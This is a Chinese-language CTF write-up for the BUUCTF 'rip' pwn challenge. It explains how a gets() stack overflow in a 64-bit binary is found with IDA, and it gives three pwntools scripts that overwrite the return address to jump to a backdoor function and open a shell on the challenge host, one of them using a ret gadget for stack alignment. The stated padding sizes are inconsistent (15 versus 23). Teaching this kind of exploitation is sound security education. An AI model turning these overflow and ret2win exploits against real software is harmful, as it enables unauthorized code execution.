rip 1(栈溢出,堆栈平衡)
题目

方法一
常规,启动靶机,扔进虚拟机checksec

64位,没有栈保护
扔进IDA(64位),找到main,F5反编译
如下

其他没啥用,我们看到有gets函数(gets函数不会检查输入字符串的长度,若用户输入的字符串长度超过了 str 所指向数组的大小,就会发生缓冲区溢出。)
gets若没有遇到 \n 结束,则会无限读取,没有上限。
gets函数这行的意思是它会把我们在“please input”后输入的东西放进&s中(即gets函数的缓冲区)
我们双击s

自上往下从第一个函数s到最后一个函数s的地址(都是标蓝的)便是缓冲区大小
我们发送字节数据塞满它,然后把它的后门函数写入,我们就拿到了他的shell
从第一个s往下数到s,也可以直接用左边的F(在十六进制中是15)减去“s”左边的0即得大小为15
然后我们按Shift+F12打开string窗口,一键找出所有的字符串,去寻找它的后门函数

我们看到system和/bin/sh
system点进去没啥东西,我们双击点进/bin/sh

然后直接按Ctrl+x查看是哪里调用了它

确定

发现是fun函数,直接把401186(fun函数地址)复制下来
然后返回虚拟机编写exp

代码如下
#导入pwntools模块:
from pwn import *
#和靶机进行连接:
r = remote("node5.buuoj.cn",29132)
#定义 payload
payload = b'a' * 23 +p64(0x40118A)+ p64(0x401186)
#发送payload
r.sendline(payload)
#获取靶机交互式终端:
r.interactive()
注:这里直接塞字节数据和填后门函数地址是不行的
觉得自己脚本没写错就要考虑堆栈平衡(64位系统):
需要找lea的地址或者该函数结束即retn的地址,写在(空括号内)
payload = b'a' * 23 + ()+ p64(0x401198) ——这是没有考虑堆栈平衡时的payload(减去+())
这里我们找到的后门函数地址是fun的
我们拖动IDA上方蓝条

找到fun函数所在地址

注:直接拖动找(在蓝色区域范围内),或者是在上面找到后门函数的时候(此页面)点击这个白色小箭头,即可来到fun函数附近(注:在汇编页面的时候拖,而不是c语言)

我上面填的地址是lea的,你们可自行尝试retn的地址(fun函数内的)

方法二
其他步骤基本同上,只是塞字节数据时没有加上返回地址大小
(对比一下不同方法的exp就知道区别了,方法三同理)

代码如下
#导入pwntools模块:
from pwn import *
#和靶机进行连接:
r = remote("node5.buuoj.cn",29034)
#定义 payload
payload = b'a' * 15+ p64(0x401186)
#注:b前缀表示这是一个字符串
#b'a' 代表一个包含单个字节 a 的字节串
#''里的字母可替换成任意其他字符
#只要将其表示为字符串即可
#其实b'a' * 15就是我们塞进去的字节数据
#然后因为这个程序是64位的,所以我们写成p64(32位的即写成p32)
#p64 函数的作用是把一个64位的整数(以十六进制表示)转换为对应的 8 字节小端序字节串
#p64()内的即上面找到的后门函数地址,我们通常用Python编写脚本
#因此有以下规定
#二进制:加 0b 或者 0B,例如 0b1010。
#八进制:加 0o 或者 0O,例如 0o12。
#十进制:无需加前缀,直接写数字,例如 10。
#十六进制:加 0x 或者 0X,例如 0xA。
#发送payload
r.sendline(payload)
#获取靶机交互式终端:
r.interactive()
然后常规,得出flag
方法三
这里直接在方法一没有堆栈平衡时的payload中后门函数后直接+1
代码如下
#导入pwntools模块:
from pwn import *
#和靶机进行连接:
r = remote("node5.buuoj.cn",29034)
#定义 payload
payload = b'a' * 23 + p64(0x401186+1)
#发送payload
r.sendline(payload)
#获取靶机交互式终端:
r.interactive()
更新:
于2025.3.31

浙公网安备 33010602011771号